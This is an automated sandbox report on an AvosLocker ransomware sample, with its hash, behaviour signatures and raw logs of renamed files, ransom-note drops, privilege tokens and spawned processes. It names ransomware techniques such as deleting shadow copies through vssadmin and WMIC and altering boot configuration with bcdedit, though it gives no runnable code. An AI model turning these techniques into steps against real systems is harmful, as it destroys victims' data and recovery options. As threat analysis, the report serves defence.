Malware Analysis Report

2024-10-16 03:26

Sample ID 240530-d7cnfsea83
Target fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb
SHA256 fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb
Tags
avoslocker defense_evasion evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb

Threat Level: Known bad

The file fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion evasion execution impact ransomware

Avoslocker Ransomware

Deletes shadow copies

Renames multiple (10433) files with added filename extension

Renames multiple (8453) files with added filename extension

Modifies boot configuration data using bcdedit

Drops desktop.ini file(s)

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy service COM API

Interacts with shadow copies

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-30 03:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 03:38

Reported

2024-05-30 03:41

Platform

win7-20240215-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10433) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1596118546.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\navBack.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\drag.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\en-US\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Vancouver C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATHEDITOR_F_COL.HXK C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00006_.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151047.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-border.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN105.XML C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0174639.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0285484.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PARNT_02.MID C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Adobe.css C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB00673L.GIF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Windows Photo Viewer\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\it.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02443_.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02794_.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\join.avi C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Desert\TAB_OFF.GIF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Origin.thmx C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\add_up.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\javafx-mx.jar C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\br.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\weather.html C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\TEAROFF.POC C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.KR.XML C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187895.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01046J.JPG C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00941_.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\TextConv\WksConv\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\en-US\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGAD.XML C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Americana\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\EXCEL.DEV_F_COL.HXK C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\1 Right.accdt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Windows NT\TableTextService\fr-FR\TableTextService.dll.mui C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_ja_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\InkWatson.exe.mui C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\it-IT\css\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD.DEV_F_COL.HXK C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Americana\TAB_OFF.GIF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0281904.WMF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeAUM_rootCert.cer C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Cocos C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\currency.html C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_m.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.FR.XML C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2908 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\system32\cmd.exe
PID 2580 wrote to memory of 1208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2580 wrote to memory of 1208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2580 wrote to memory of 1208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2536 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2536 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
